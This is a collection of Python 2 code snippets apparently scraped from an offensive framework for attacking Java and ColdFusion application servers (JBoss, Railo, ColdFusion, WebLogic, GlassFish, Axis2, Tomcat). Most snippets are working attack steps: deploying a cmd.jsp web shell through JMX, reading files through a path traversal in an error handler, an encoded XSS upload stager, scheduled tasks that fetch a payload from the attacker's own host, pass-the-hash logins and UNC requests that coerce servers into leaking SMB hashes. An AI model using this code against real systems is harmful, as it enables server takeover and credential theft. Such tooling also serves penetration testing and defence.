Example #1
0
def fetchId(base, path, cookie):
    """ Pretty simple two-step process to fetch the id:

            a) Set the error handler template to the id file
            b) Trigger an error
            c) restore handler
    """

    # set error handler
    set_template = '/railo-context/admin/web.cfm?action=server.error'
    data = { 'errType500' : 'Select',
             'errorTemplate_Select500' : '/railo-context/templates/error/error.cfm', # default
             'errType404' : 'File',
             'errorTemplate_File404' : '/railo-context/../id',
             'doStatusCode' : 'yes',
             'mainAction' : 'update'
    }

    response = utility.requests_post(base + set_template, data=data, cookies=cookie)
    if response.status_code is not 200:
        utility.Msg("Failed to set error handler (HTTP %d)" % response.status_code, LOG.ERROR)
        return None

    # trigger 404 and pull file
    response = utility.requests_get(base + '/railo-context/admin/xx.cfm')
    id = response.content

    # got the ID, restore handler
    data['errorTemplate_File404'] = '/railo-context/templates/error/error.cfm'
    response = utility.requests_post(base + set_template, data=data, cookies=cookie)
    return id
Example #2
0
def manage_undeploy(fingerengine, fingerprint):
    """ This is used to undeploy from JBoss 7.x and 8.x
    """

    context = fingerengine.options.undeploy
    context = parse_war_path(context)

    url = 'http://{0}:{1}/management'.format(fingerengine.options.ip,
                                             fingerprint.port)

    undeploy = '{{"operation":"remove", "address":{{"deployment":"{0}"}}}}'\
                                                            .format(context)
    headers = {'Content-Type':"application/json"}
    
    response = utility.requests_post(url, headers=headers, data=undeploy)
    if response.status_code == 401:

        utility.Msg("Host %s:%s requires auth, checking..." %
                            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookie = checkAuth(fingerengine.options.ip, fingerprint.port,
                           fingerprint.title, fingerprint.version)
        if cookie:
            response = utility.requests_post(url, headers=headers, data=undeploy,
                                            cookies=cookie[0], auth=cookie[1])
        else:
            utility.Msg("Could not get auth for %s:%s" %
                            (fingerengine.options.ip, fingerprint.port), LOG.ERROR)

    if response.status_code == 200:
        utility.Msg("{0} successfully undeployed".format(context), LOG.SUCCESS)
    else:
        utility.Msg("Failed to undeploy", LOG.ERROR)
Example #3
0
def create_task(ip, fingerprint, cfm_file, root):
    """
    """

    global cookie

    base = "http://{0}:{1}/railo-context/admin/web.cfm".format(
        ip, fingerprint.port)
    params = "?action=services.schedule&action2=create"
    data = OrderedDict([
        ("name", cfm_file),
        ("url", "http://{0}:{1}/{2}".format(utility.local_address(),
                                            state.external_port, cfm_file)),
        ("interval", "once"), ("start_day", "01"), ("start_month", "01"),
        ("start_year", "2020"), ("start_hour", "00"), ("start_minute", "00"),
        ("start_second", "00"), ("run", "create")
    ])

    response = utility.requests_post(base + params, data=data, cookies=cookie)
    if not response.status_code is 200 and cfm_file not in response.content:
        return False

    # pull the CSRF for our newly minted task
    csrf = findall("task=(.*?)\"", response.content)
    if len(data) > 0:
        csrf = csrf[0]
    else:
        utility.Msg(
            "Could not pull CSRF token of new task (failed to create?)",
            LOG.DEBUG)
        return False

    # proceed to edit the task; railo loses its mind if every var isnt here
    params = "?action=services.schedule&action2=edit&task=" + csrf
    data["port"] = state.external_port
    data["timeout"] = 50
    data["run"] = "update"
    data["publish"] = "yes"
    data["file"] = root + '\\' + cfm_file
    data["_interval"] = "once"
    data["username"] = ""
    data["password"] = ""
    data["proxyport"] = ""
    data["proxyserver"] = ""
    data["proxyuser"] = ""
    data["proxypassword"] = ""
    data["end_hour"] = ""
    data["end_minute"] = ""
    data["end_second"] = ""
    data["end_day"] = ""
    data["end_month"] = ""
    data["end_year"] = ""

    response = utility.requests_post(base + params, data=data, cookies=cookie)
    if response.status_code is 200 and cfm_file in response.content:
        return True

    return False
Example #4
0
def deploy(fingerengine, fingerprint):
    """ Exploits the DeploymentFileRepository bean to deploy
    a JSP to the remote server.  Note that this requires a JSP,
    not a packaged or exploded WAR.
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = parse_war_path(war_file)
    if '.war' in war_file:
        tmp = utility.capture_input(
            "This deployer requires a JSP, default to cmd.jsp? [Y/n]")
        if "n" in tmp.lower():
            return

        war_file = abspath("./src/lib/resources/cmd.jsp")
        war_name = "cmd"

    utility.Msg("Preparing to deploy {0}...".format(war_name))

    url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format(
        fingerengine.options.ip, fingerprint.port)

    data = OrderedDict([('action', 'invokeOp'),
                        ('name',
                         'jboss.admin:service=DeploymentFileRepository'),
                        ('methodIndex', 5),
                        ('arg0', war_file.replace('.jsp', '.war')),
                        ('arg1', war_name), ('arg2', '.jsp'),
                        ('arg3', open(war_file, 'r').read()), ('arg4', True)])

    response = utility.requests_post(url, data=data)
    if response.status_code == 401:
        utility.Msg(
            "Host %s:%s requires auth for JMX, checking..." %
            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            response = utility.requests_post(url,
                                             data=data,
                                             cookies=cookies[0],
                                             auth=cookies[1])
        else:
            utility.Msg(
                "Could not get auth for %s:%s" %
                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

    if response.status_code == 200:
        utility.Msg(
            "Successfully deployed '/{0}/{1}'".format(war_name,
                                                      war_name + '.jsp'),
            LOG.SUCCESS)
    else:
        utility.Msg("Failed to deploy (HTTP %d)" % response.status_code,
                    LOG.ERROR)
Example #5
0
    def run(self, fingerengine, fingerprint):
        """ This module will invoke jboss:load() with a UNC path to force the
        server to make a SMB request, thus giving up its encrypted hash with a 
        value we know (1122334455667788).

        Thanks to @cd1zz for the idea for this
        """

        if getuid() > 0:
            utility.Msg("Root privs required for this module.", LOG.ERROR)
            return

        utility.Msg("Setting up SMB listener..")

        self._Listen = True
        thread = Thread(target=self.smb_listener)
        thread.start()

        utility.Msg("Invoking UNC loader...")

        base = 'http://{0}:{1}'.format(fingerengine.options.ip,
                                       fingerprint.port)
        uri = '/jmx-console/HtmlAdaptor'
        data = self.getData(fingerprint.version)
        url = base + uri

        response = utility.requests_post(url, data=data)
        if response.status_code == 401:

            utility.Msg(
                "Host %s:%s requires auth, checking..." %
                (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                                fingerprint.title, fingerprint.version)

            if cookies:
                response = utility.requests_post(url,
                                                 data=data,
                                                 cookies=cookies[0],
                                                 auth=cookies[1])
            else:
                utility.Msg(
                    "Could not get auth for %s:%s" %
                    (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
                return

        while thread.is_alive():
            # spin...
            sleep(1)

        if response.status_code != 500:

            utility.Msg("Unexpected response: HTTP %d" % response.status_code,
                        LOG.DEBUG)

        self._Listen = False
Example #6
0
    def run7(self, fingerengine, fingerprint):
        """ Runs our OS query using the HTTP API

        NOTE: This does not work against 7.0.0 or 7.0.1 because the platform-mbean 
        was not exposed until 7.0.2 and up. See AS7-340
        """

        url = "http://{0}:{1}/management".format(fingerengine.options.ip,
                                                 fingerprint.port)
        info = '{"operation":"read-resource", "include-runtime":"true", "address":'\
               '[{"core-service":"platform-mbean"},{"type":"runtime"}], "json.pretty":1}'
        headers = {"Content-Type":"application/json"}

        response = utility.requests_post(url, data=info, headers=headers)
        if response.status_code == 401:
                
            utility.Msg("Host %s:%s requires auth, checking..." % 
                            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                                fingerprint.title, fingerprint.version)
            if cookies:
                response = utility.requests_post(url, data=info, cookies=cookies[0],
                                                auth=cookies[1], headers=headers)
            else:
                utility.Msg("Could not get auth for %s:%s" %
                                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
                return

        if response.status_code == 200:

            result = response.json()['result']
            for key in result.keys():

                if 'system-properties' in key:
                    for skey in result[key].keys():
                        utility.Msg('\t%s: %s' % (skey, result[key][skey]))
                else:
                    utility.Msg('\t%s: %s' % (key, result[key]))

        elif response.status_code == 500:
            utility.Msg("Failed to retrieve system properties, checking if "
                        "this is 7.0.0/7.0.1...")

            info = '{"operation":"read-attribute", "name":"server-state"}'

            response = utility.requests_post(url, data=info, headers=headers)
            if response.status_code == 200:
                utility.Msg("Older version found.  This version is unsupported.")
            else:
                utility.Msg("Failed to retrieve info (HTTP %d)", response.status_code,
                                                                LOG.DEBUG)  
        else:
            utility.Msg("Failed to retrieve info (HTTP %d)" % response.status_code,
                                                              LOG.DEBUG)   
Example #7
0
def deploy(fingerengine, fingerprint):
    """ Exploits the DeploymentFileRepository bean to deploy
    a JSP to the remote server.  Note that this requires a JSP,
    not a packaged or exploded WAR.
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = parse_war_path(war_file)
    if '.war' in war_file:
        tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]")
        if "n" in tmp.lower():
            return

        war_file = abspath("./src/lib/resources/cmd.jsp")
        war_name = "cmd"

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format(
                    fingerengine.options.ip, fingerprint.port)

    data = OrderedDict([
                    ('action', 'invokeOp'),
                    ('name', 'jboss.admin:service=DeploymentFileRepository'),
                    ('methodIndex', 5),
                    ('arg0', war_file.replace('.jsp', '.war')),
                    ('arg1', war_name),
                    ('arg2', '.jsp'),
                    ('arg3', open(war_file, 'r').read()),
                    ('arg4', True)
                    ])

    response = utility.requests_post(url, data=data)
    if response.status_code == 401:
        utility.Msg("Host %s:%s requires auth for JMX, checking..." %
                        (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            response = utility.requests_post(url, data=data, cookies=cookies[0],
                                            auth=cookies[1])
        else:
            utility.Msg("Could not get auth for %s:%s" %
                                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

    if response.status_code == 200:
        utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS)
    else:
        utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
Example #8
0
    def run(self, fingerengine, fingerprint):
        """ This module will invoke jboss:load() with a UNC path to force the
        server to make a SMB request, thus giving up its encrypted hash with a 
        value we know (1122334455667788).

        Thanks to @cd1zz for the idea for this
        """

        if not utility.check_admin():
            utility.Msg("Root privs required for this module.", LOG.ERROR)
            return

        utility.Msg("Setting up SMB listener..")

        self._Listen= True
        thread = Thread(target=self.smb_listener)
        thread.start()

        utility.Msg("Invoking UNC loader...")

        base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port)
        uri = '/jmx-console/HtmlAdaptor'
        data = self.getData(fingerprint.version)
        url = base + uri
        
        response = utility.requests_post(url, data=data)
        if response.status_code == 401:
            
            utility.Msg("Host %s:%s requires auth, checking..." % 
                        (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                                fingerprint.title, fingerprint.version)

            if cookies:
                response = utility.requests_post(url, data=data, 
                                                cookies=cookies[0],
                                                auth=cookies[1])
            else:
                utility.Msg("Could not get auth for %s:%s" %
                            (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
                return

        while thread.is_alive():
            # spin...
            sleep(1)

        if response.status_code != 500:
            
            utility.Msg("Unexpected response: HTTP %d" % response.status_code, LOG.DEBUG)

        self._Listen = False
Example #9
0
def undeploy(fingerengine, fingerprint):
    """ Undeploy a deployed application from the remote WL server
    """

    app = fingerengine.options.undeploy
    # ensure it ends with war
    app = app if '.war' in app else app + '.war'

    base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
    if fingerprint.title is WINTERFACES.WLS:
        base = base.replace("http", "https")

    uri = "/console/console.portal?AppApplicationUninstallPortletreturnTo="\
          "AppAppApp&AppDeploymentsControlPortlethandler="\
          "com.bea.console.handles.JMXHandle(\"com.bea:Name=mydomain,Type=Domain\")"
    data = { "all" : "on",
            "AppApplicationUninstallPortletchosenContents" :
                    "com.bea.console.handles.AppDeploymentHandle%28%22com.bea"\
                    "%3AName%3D{0}%2CType%3DAppDeployment%22%29".format(app),
            "_pageLabel" : "AppApplicationUninstallPage",
            "_nfpb" : "true",
            "AppApplicationUninstallPortletfrsc" : None
           }

    utility.Msg(
        "Host %s:%s requires auth, checking.." %
        (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
    cookies = checkAuth(fingerengine.options.ip, fingerprint, True)

    if cookies[0]:

        data['AppApplicationUninstallPortletfrsc'] = fetchCSRF(
            base, cookies[0])

        try:
            utility.requests_post(base + uri,
                                  data=data,
                                  cookies=cookies[0],
                                  timeout=1.0)
        except exceptions.Timeout:
            utility.Msg("{0} undeployed.".format(app), LOG.SUCCESS)
        else:
            utility.Msg("Failed to undeploy {0}".format(app), LOG.ERROR)

    else:
        utility.Msg(
            "Could not get auth for %s:%s" %
            (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
Example #10
0
def create_task(ip, fingerprint, cfm_file, root):
    """ Create the task
    """

    url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\
                                                    format(ip, fingerprint.port)
    upload_stager_xss = "/CFIDE/probe.cfm?name=%3Cb%3E%26%23181%3BSH%3C%2Fb%3E%22%3C%2Fh1%3E%3Ccfif%20isDefined(%22Form.File%22)%3E%3Ccftry%3E%3Ccffile%20action%3D%22upload%22%20destination%3D%22%23Expandpath(%22.%22)%23%22%20filefield%3D%22Form.File%22%20nameconflict%3D%22overwrite%22%3EY!%3Ccfcatch%3EN!%3C%2Fcfcatch%3E%3C%2Fcftry%3E%3C%2Fcfif%3E%3Cform%20method%3DPOST%20enctype%3D%22multipart%2Fform-data%22%3E%3Cinput%20type%3Dfile%20name%3D%22File%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22Upload%22%3E%3C%2Fform%3E%3Cscript%3E"

    (cookie, csrf) = fetch_csrf(ip, fingerprint, url)
    data = {
            "csrftoken" : csrf,
            "TaskName" : cfm_file,
            "Start_Date" : "Jan 27, 2014", # shouldnt matter since we force run
            "ScheduleType" : "Once",
            "StartTimeOnce" : "9:56 PM", # see above
            "Operation" : "HTTPRequest",
            "ScheduledURL" : "http://{0}:{1}/{2}".format(ip, fingerprint.port, upload_stager_xss),
            "publish" : "1",
            "publish_file" : root + "\\" + cfm_file, # slash on OS?
            "adminsubmit" : "Submit"
           }

    response = utility.requests_get(url, cookies=cookie)
    if response.status_code is 200:

        # create task
        response = utility.requests_post(url, data=data, cookies=cookie,
                        headers={'Content-Type':'application/x-www-form-urlencoded'})
        if response.status_code is 200:
            return True
Example #11
0
def deploy(fingerengine, fingerprint):
    """ Upload a service via the administrative interface
    """

    cookie = None
    file_path = abspath(fingerengine.options.deploy)
    file_name = parse_war_path(file_path, True)
    dip = fingerengine.options.ip

    cookie = checkAuth(dip, fingerprint.port, title, fingerprint.version)
    if not cookie:
        utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR)
        return

    utility.Msg("Preparing to deploy {0}".format(file_name))

    base = "http://{0}:{1}".format(dip, fingerprint.port)
    uri = "/axis2/axis2-admin/upload"

    payload = {"filename": open(file_path, "rb")}

    response = utility.requests_post(base + uri, files=payload, cookies=cookie)
    if response.status_code is 200:
        if "The following error occurred" in response.content:
            error = findall("occurred <br/> (.*?)</font>", response.content)
            utility.Msg("Failed to deploy {0}.  Reason: {1}".format(file_name, error[0]), LOG.ERROR)
        else:
            utility.Msg(
                "{0} deployed successfully to /axis2/services/{1}".format(file_name, parse_war_path(file_path)),
                LOG.SUCCESS,
            )
    else:
        utility.Msg("Failed to deploy {0} (HTTP {1})".format(file_name, response.status_code), LOG.ERROR)
Example #12
0
def deploy(fingerengine, fingerprint):
    """ Upload via the exposed REST API
    """
    
    if fingerprint.version in ['3.1', '4.0']:
        state.ssl = True

    war_file = fingerengine.options.deploy
    war_path = abspath(war_file)
    war_name = parse_war_path(war_file)
    dip = fingerengine.options.ip
    headers = {
            "Accept" : "application/json",
            "X-Requested-By" : "requests"
    }

    cookie = checkAuth(dip, fingerprint.port, title)
    if not cookie:
        utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port),
                                                     LOG.ERROR)
        return

    utility.Msg("Preparing to deploy {0}...".format(war_file))
    base = 'http://{0}:{1}'.format(dip, fingerprint.port)
    uri = '/management/domain/applications/application'

    data = {
            'id' : open(war_path, 'rb'),
            'force' : 'true'
    }

    response = utility.requests_post(base + uri, files=data,
                                    auth=cookie,
                                    headers=headers)
    if response.status_code is 200:

        if fingerprint.version in ['3.0']:

            # GF 3.0 ignores context-root and appends a random character string to
            # the name.  We need to fetch it, then set it as our random_int for
            # invoke support.  There's also no list-wars in here...
            url = base + '/management/domain/applications/application'
            response = utility.requests_get(url, auth=cookie, headers=headers)
            if response.status_code is 200:

                data = json.loads(response.content)
                for entry in data[u"Child Resources"]:
                    if war_name in entry:
                        rand = entry.rsplit('/', 1)[1]
                        rand = rand.split(war_name)[1]
                        fingerengine.random_int = str(rand)

                utility.Msg("Deployed {0} to :8080/{0}{1}".format(war_name, rand),
                                                                     LOG.SUCCESS)
        else:
            utility.Msg("Deployed {0} to :8080/{0}".format(war_name), LOG.SUCCESS)
    else:
        utility.Msg("Failed to deploy {0} (HTTP {1})".format(war_name,
                                                 response.status_code),
                                                 LOG.ERROR)
Example #13
0
    def runLatter(self, fingerengine, fingerprint, smb_thread):
        """
        """

        base = "http://{0}:{1}".format(fingerengine.options.ip,
                                       fingerprint.port)
        uri = "/manager/html/deploy"
        data = OrderedDict([
            ("deployPath", "/asdf"),
            ("deployConfig", ""),
            ("deployWar",
             "file://{0}/asdf.war".format(utility.local_address())),
        ])

        cookies = None
        nonce = None

        # probe for auth
        response = utility.requests_get(base + '/manager/html')
        if response.status_code == 401:

            utility.Msg(
                "Host %s:%s requires auth, checking.." %
                (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                                fingerprint.title, fingerprint.version)

            if cookies:
                response = utility.requests_get(base + '/manager/html',
                                                cookies=cookies[0],
                                                auth=cookies[1])

                # get nonce
                nonce = findall("CSRF_NONCE=(.*?)\"", response.content)
                if len(nonce) > 0:
                    nonce = nonce[0]

                # set new jsessionid
                cookies = (dict_from_cookiejar(response.cookies), cookies[1])
            else:
                utility.Msg(
                    "Could not get auth for %s:%s" %
                    (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
                return

        if response.status_code == 200:

            try:
                # all setup, now invoke
                response = utility.requests_post(base + uri + \
                                        '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce,
                                        data = data, cookies=cookies[0],
                                        auth=cookies[1])
            except:
                # timeout
                pass

            while smb_thread.is_alive():
                # spin...
                sleep(1)
Example #14
0
def _auth(usr, pswd, url, version):
    """ Authenticate to the remote ColdFusion server; bit of a pain 
    """

    if version in ['7.0', '8.0', '9.0']:
        salt = _salt(url) 
        hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper()
        data = {"cfadminPassword" : hsh,
                "requestedURL" : "/CFIDE/administrator/enter.cfm?",
                "cfadminUserId" : usr,
                "salt" : salt,
                "submit" : "Login"
               }

    elif version in ['10.0']:
        
        hsh = sha1(pswd).hexdigest().upper()
        data = {'cfadminPassword' : hsh,
                'requestedURL' : '/CFIDE/administrator/enter.cfm?',
                'cfadminUserId' : usr,
                'submit' : 'Login'
               }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code is 200 and len(res.history) > 0:
            utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
            return (dict_from_cookiejar(res.history[0].cookies), None)

    except Exception, e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
        return (None, None)
Example #15
0
def _auth(usr, pswd, ip, fingerprint):
    """ Authenticate to j_security_check and return the cookie
    """

    try:
        base = "http://{0}:{1}".format(ip, fingerprint.port)
        uri = "/console/j_security_check"

        data = { "j_username" : usr,
                 "j_password" : pswd,
                 "j_character_encoding" : "UTF-8"
               }

        if fingerprint.title is WINTERFACES.WLS:
            base = base.replace("http", "https")

        response = utility.requests_post(base + uri, data=data)
        if len(response.history) > 1:

                cookies = dict_from_cookiejar(response.history[0].cookies)
                if not cookies:
                    return False
                else:
                    utility.Msg("Successfully authenticated with %s:%s" % 
                                    (usr, pswd), LOG.DEBUG)
                    return (cookies, None)

    except Exception, e: 
        utility.Msg("Failed to authenticate: %s" % e)
Example #16
0
def run_task(ip, fingerprint, cfm_path):
    """
    """

    global cookie
    cfm_file = parse_war_path(cfm_path, True)

    # kick up server
    server_thread = Thread(target=_serve, args=(cfm_path,))
    server_thread.start()
    sleep(2)

    base = "http://{0}:{1}/railo-context/admin/web.cfm".format(ip, fingerprint.port)
    params = "?action=services.schedule"
    data = OrderedDict([
                    ("row_1", "1"),
                    ("name_1", cfm_file),
                    ("mainAction", "execute")
                      ])

    response = utility.requests_post(base + params, data=data, cookies=cookie)
    if waitServe(server_thread):
        utility.Msg("{0} deployed to /{0}".format(cfm_file), LOG.SUCCESS)

    killServe()
Example #17
0
def deploy(fingerengine, fingerprint):
    """ Upload a service via the administrative interface
    """

    cookie = None
    file_path = abspath(fingerengine.options.deploy)
    file_name = parse_war_path(file_path, True)
    dip = fingerengine.options.ip

    cookie = checkAuth(dip, fingerprint.port, title, fingerprint.version)
    if not cookie:
        utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port),
                                                    LOG.ERROR)
        return

    utility.Msg("Preparing to deploy {0}".format(file_name))

    base = 'http://{0}:{1}'.format(dip, fingerprint.port)
    uri = '/axis2/axis2-admin/upload'

    payload = {'filename' : open(file_path, 'rb')}

    response = utility.requests_post(base + uri, files=payload, cookies=cookie)
    if response.status_code is 200:
        utility.Msg("{0} deployed successfully to /axis2/services/{1}".
                                format(file_name, parse_war_path(file_path)),
                                LOG.SUCCESS)
    else:
        utility.Msg("Failed to deploy {0} (HTTP {1})".format(file_name, 
                                        response.status_code), LOG.ERROR)
Example #18
0
def deploy(fingerengine, fingerprint):
    """ Exploits the exposed FCKeditor in CF 8.x
    """

    cfm_path = abspath(fingerengine.options.deploy)
    cfm_name = parse_war_path(cfm_path, True)
    dip = fingerengine.options.ip

    utility.Msg("Checking if FCKEditor is exposed...")
    url = "http://{0}:{1}".format(dip, fingerprint.port)
    uri = "/CFIDE/scripts/ajax/FCKeditor/editor/dialog/fck_about.html"

    response = utility.requests_get(url + uri)
    if response.status_code == 200 and "FCKeditor" in response.content:
        utility.Msg("FCKeditor exposed, attempting to write payload...")
    else:
        utility.Msg("FCKeditor doesn't seem to be exposed (HTTP %d)" % response.status_code)
        return

    try:
        payload = {"NewFile" : ("asdf.txt", open(cfm_path, "r").read())}
    except Exception as e:
        utility.Msg("Error reading file: %s" % e, LOG.ERROR)
        return
    
    uri = "/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm"        
    uri += "?Command=FileUploads&Type=File&CurrentFolder=/{0}%00".format(cfm_name)

    response = utility.requests_post(url + uri, files=payload)
    if response.status_code == 200 and "OnUploadCompleted" in response.content: 
        utility.Msg("Deployed.  Access /userfiles/file/{0} for payload"\
                            .format(cfm_name), LOG.SUCCESS)
    else:
        utility.Msg("Could not write payload (HTTP %d)" % (response.status_code))
Example #19
0
def _auth(usr, pswd, url, version):
    """ Authenticate to the remote ColdFusion server; bit of a pain 
    """

    if version in ['9.0']:
        salt = _salt(url) 
        hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper()
        data = {"cfadminPassword" : hsh,
                "requestedURL" : "/CFIDE/administrator/enter.cfm?",
                "cfadminUserId" : usr,
                "salt" : salt,
                "submit" : "Login"
               }

    elif version in ['10.0']:
        
        hsh = sha1(pswd).hexdigest().upper()
        data = {'cfadminPassword' : hsh,
                'requestedURL' : '/CFIDE/administrator/enter.cfm?',
                'cfadminUserId' : usr,
                'submit' : 'Login'
               }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code is 200 and len(res.history) > 0:
            utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
            return (dict_from_cookiejar(res.history[0].cookies), None)

    except Exception, e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
        return (None, None)
Example #20
0
def attemptPTH(url, usr_auth):
    """ In vulnerable instances of CF7-9, you can use --cf-hash to obtain
    the remote server's hash and pass it.            
    """            
    
    utility.Msg("Attempting to pass the hash..", LOG.DEBUG)
    
    usr = None
    pwhsh = None
    if ':' in usr_auth:
        (usr, pwhsh) = usr_auth.split(':')
    else:
        (usr, pwhsh) = "admin", usr_auth

    salt = _salt(url) 
    hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper()
    data = {"cfadminPassword" : hsh,
            "requestedURL" : "/CFIDE/administrator/enter.cfm?",
            "cfadminUserId" : usr, 
            "salt" : salt,
            "submit" : "Login"
           }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code is 200 and len(res.history) > 0:
            utility.Msg("Sucessfully passed the hash", LOG.DEBUG)
            return (dict_from_cookiejar(res.history[0].cookies), None)
        
    except Exception, e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
def make_request(method,host,port,ssl,url,data,cookies=None,allow_redirects=True):
    response = None
    if port == None and ssl:
        port = 443
    if port == None and not ssl:
        port = 80
    try:
        url = "{0}://{1}:{2}{3}".format("https" if ssl else "http",
                                        host, port,url)
        if method == 'GET':
            response = utility.requests_get(url,cookies=cookies)
        elif method == 'BASIC':
            response = utility.requests_get(url,cookies=cookies,auth=(data['username'],data['password']))
        elif method == 'POST':
            response = utility.requests_post(url,data,cookies=cookies,allow_redirects=allow_redirects)
        elif method == 'HEAD':
            response = utility.requests_head(url,cookies=cookies)
        elif method == 'PUT':
            response = utility.requests_put(url,data,cookies=cookies)
        else:
            response = utility.requests_other(method,url,cookies=cookies)

        return response

    except exceptions.Timeout:
        utility.Msg("Timeout to {0}:{1}".format(host,port), 'DEBUG')
    except exceptions.ConnectionError, e:
        utility.Msg("Connection error to {0} ({1})".format(host,port, e),'DEBUG')
def attemptPTH(url, usr_auth):
    """ In vulnerable instances of CF7-9, you can use --cf-hash to obtain
    the remote server's hash and pass it.            
    """

    utility.Msg("Attempting to pass the hash..", LOG.DEBUG)

    usr = None
    pwhsh = None
    if ':' in usr_auth:
        (usr, pwhsh) = usr_auth.split(':')
    else:
        (usr, pwhsh) = "admin", usr_auth

    salt = _salt(url)
    hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper()
    data = {
        "cfadminPassword": hsh,
        "requestedURL": "/CFIDE/administrator/enter.cfm?",
        "cfadminUserId": usr,
        "salt": salt,
        "submit": "Login"
    }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code is 200 and len(res.history) > 0:
            utility.Msg("Sucessfully passed the hash", LOG.DEBUG)
            return (dict_from_cookiejar(res.history[0].cookies), None)

    except Exception, e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
Example #23
0
def create_task(ip, fingerprint, cfm_file, root):
    """ Create the task
    """

    url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\
                                                    format(ip, fingerprint.port)

    (cookie, csrf) = fetch_csrf(ip, fingerprint, url)
    data = {
            "csrftoken" : csrf,
            "TaskName" : cfm_file,
            "Start_Date" : "Jan 27, 2014", # shouldnt matter since we force run
            "ScheduleType" : "Once",
            "StartTimeOnce" : "9:56 PM", # see above
            "Operation" : "HTTPRequest",
            "ScheduledURL" : "http://{0}:8000/{1}".format(utility.local_address(), cfm_file),
            "publish" : "1",
            "publish_file" : root + "\\" + cfm_file, # slash on OS?
            "adminsubmit" : "Submit"
           }

    if fingerprint.version in ["10.0"]:
        data['publish_overwrite'] = 'on'

    response = utility.requests_get(url, cookies=cookie)
    if response.status_code is 200:

        # create task
        response = utility.requests_post(url, data=data, cookies=cookie,
                        headers={'Content-Type':'application/x-www-form-urlencoded'})
        if response.status_code is 200:
            return True
Example #24
0
    def run(self, fingerengine, fingerprint):
        """ Same as JBoss/Tomcat
        """

        if not utility.check_admin():
            utility.Msg("Root privs required for this module.", LOG.ERROR)
            return

        base = 'http://{0}:{1}'.format(fingerengine.options.ip,
                                       fingerprint.port)
        uri = '/console/console.portal?AppApplicationInstallPortlet_actionOverride'\
              '=/com/bea/console/actions/app/install/appSelected'
        data = {
            "AppApplicationInstallPortletselectedAppPath":
            "\\\\{0}\\fdas.war".format(utility.local_address()),
            "AppApplicationInstallPortletfrsc":
            None
        }

        if fingerprint.title is WINTERFACES.WLS:
            base = base.replace("http", "https")

        utility.Msg(
            "Host %s:%s requires auth, checking.." %
            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint)

        if cookies[0]:

            utility.Msg("Setting up SMB listener...")
            self._Listen = True
            thread = Thread(target=self.smb_listener)
            thread.start()

            # fetch our CSRF
            data['AppApplicationInstallPortletfrsc'] = self.fetchCSRF(
                base, cookies[0])

            utility.Msg("Invoking UNC loader...")

            try:
                _ = utility.requests_post(base + uri,
                                          data=data,
                                          cookies=cookies[0],
                                          timeout=1.0)
            except:
                # we dont care about the response here
                pass
        else:
            utility.Msg(
                "Could not get auth for %s:%s" %
                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

        while thread.is_alive():
            # spin
            sleep(1)

        self._Listen = False
Example #25
0
def deploy(fingerengine, fingerprint):
    """ This deployer is slightly different than manager_deploy in
    that it only requires the manager-gui role.  This requires us
    to deploy like one would via the web interface. 
    """

    base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port)
    uri = '/manager/html/upload'
    war_file = fingerengine.options.deploy
    war_path = parse_war_path(war_file)
